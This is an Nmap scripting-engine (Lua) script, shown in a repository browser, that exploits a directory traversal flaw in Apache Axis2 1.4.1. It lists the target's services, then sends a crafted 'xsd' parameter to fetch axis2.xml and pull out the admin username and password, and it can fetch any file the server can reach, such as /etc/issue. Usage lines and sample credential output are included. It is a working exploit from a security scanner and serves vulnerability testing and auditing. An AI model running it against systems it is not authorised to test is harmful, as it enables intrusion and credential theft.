summaryrefslogtreecommitdiffstats
path: root/scripts/http-axis2-dir-traversal.nse
blob: bf90cac7f39791c10b9b8429a9ebeb62c8645c67 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
local creds = require "creds"
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

description = [[
Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by
sending a specially crafted request to the parameter <code>xsd</code>
(BID 40343). By default it will try to retrieve the configuration file of the
Axis2 service <code>'/conf/axis2.xml'</code> using the path
<code>'/axis2/services/'</code> to return the username and password of the
admin account.

To exploit this vulnerability we need to detect a valid service running on the
installation so we extract it from <code>/listServices</code> before exploiting
the directory traversal vulnerability.  By default it will retrieve the
configuration file, if you wish to retrieve other files you need to set the
argument <code>http-axis2-dir-traversal.file</code> correctly to traverse to
the file's directory. Ex. <code>../../../../../../../../../etc/issue</code>

To check the version of an Apache Axis2 installation go to:
http://domain/axis2/services/Version/getVersion

Reference:
* https://www.securityfocus.com/bid/40343
* https://www.exploit-db.com/exploits/12721/
]]

---
-- @usage
-- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' <host/ip>
-- nmap -p80 --script http-axis2-dir-traversal <host/ip>
--
-- @output
-- 80/tcp open  http    syn-ack
-- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
--
-- @args http-axis2-dir-traversal.file Remote file to retrieve
-- @args http-axis2-dir-traversal.outfile Output file
-- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: <code>/axis2/services/</code>

author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}


portrule = shortport.http

--Default configuration values
local DEFAULT_FILE = "../conf/axis2.xml"
local DEFAULT_PATH = "/axis2/services/"

---
--Checks the given URI looks like an Apache Axis2 installation
-- @param host Host table
-- @param port Port table
-- @param path Apache Axis2 Basepath
-- @return True if the string "Available services" is found
local function check_installation(host, port, path)
  local req = http.get(host, port, path)
  if req.status == 200 and http.response_contains(req, "Available services") then
    return true
  end
  return false
end

---
-- Returns a table with all the available services extracted
-- from the services list page
-- @param body Services list page body
-- @return Table containing the names and paths of the available services
local function get_available_services(body)
 local services = {}
 for service in string.gmatch(body, '<h4>Service%sDescription%s:%s<font%scolor="black">(.-)</font></h4>') do
    table.insert(services, service)
  end

  return services
end

---
--Writes string to file
--Taken from: hostmap.nse
-- @param filename Filename to write
-- @param contents Content of file
-- @return True if file was written successfully
local function write_file(filename, contents)
  local f, err = io.open(filename, "w")
  if not f then
    return f, err
  end
  f:write(contents)
  f:close()
  return true
end

---
-- Extracts Axis2's credentials from the configuration file
-- It also adds them to the credentials library.
-- @param body Configuration file string
-- @return true if credentials are found
-- @return Credentials or error string
---
local function extract_credentials(host, port, body)
  local _,_,user = string.find(body, '<parameter name="userName">(.-)</parameter>')
  local _,_,pass = string.find(body, '<parameter name="password">(.-)</parameter>')

  if user and pass then
    local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port )
    cred_obj:add(user, pass, creds.State.VALID )
    return true, string.format("Admin credentials found -> %s:%s", user, pass)
  end
  return false, "Credentials were not found."
end

action = function(host, port)
  local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile")
  local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE
  local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH
  local selected_service, output

  --check this is an axis2 installation
  if not(check_installation(host, port, basepath.."listServices")) then
    stdnse.debug1("This does not look like an Apache Axis2 installation.")
    return
  end

  output = {}
  --process list of available services
  local req = http.get( host, port, basepath.."listServices")
  local services = get_available_services(req.body)

  --generate debug info for services and select first one to be used in the request
  if #services > 0 then
    for _, servname in pairs(services) do
      stdnse.debug1("Service found: %s", servname)
    end
    selected_service = services[1]
  else
    if nmap.verbosity() >= 2 then
      stdnse.debug1("There are no services available. We can't exploit this")
    end
    return
  end

  --Use selected service and exploit
  stdnse.debug1("Querying service: %s", selected_service)
  req = http.get(host, port, basepath..selected_service.."?xsd="..rfile)
  stdnse.debug2("Query -> %s", basepath..selected_service.."?xsd="..rfile)

  --response came back
  if req.status and req.status == 200 then
    --if body is empty something wrong could have happened...
    if string.len(req.body) <= 0 then
      if nmap.verbosity() >= 2 then
        stdnse.debug1("Response was empty. The file does not exists or the web server does not have sufficient permissions")
      end
      return
    end

    output[#output+1] = "\nApache Axis2 Directory Traversal (BID 40343)"

    --Retrieve file or only show credentials if downloading the configuration file
    if rfile ~= DEFAULT_FILE then
      output[#output+1] = req.body
    else
      --try to extract credentials
      local extract_st, extract_msg = extract_credentials(host, port, req.body)
      if extract_st then
        output[#output+1] = extract_msg
      else
        stdnse.debug1("Credentials not found in configuration file")
      end
    end

    --save to file if selected
    if outfile then
      local status, err = write_file(outfile, req.body)
      if status then
        output[#output+1] = string.format("%s saved to %s\n", rfile, outfile)
      else
        output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err)
      end
     end
  else
    stdnse.debug1("Request did not return status 200. File might not be found or unreadable")
    return
  end

  if #output > 0 then
    return table.concat(output, "\n")
  end
end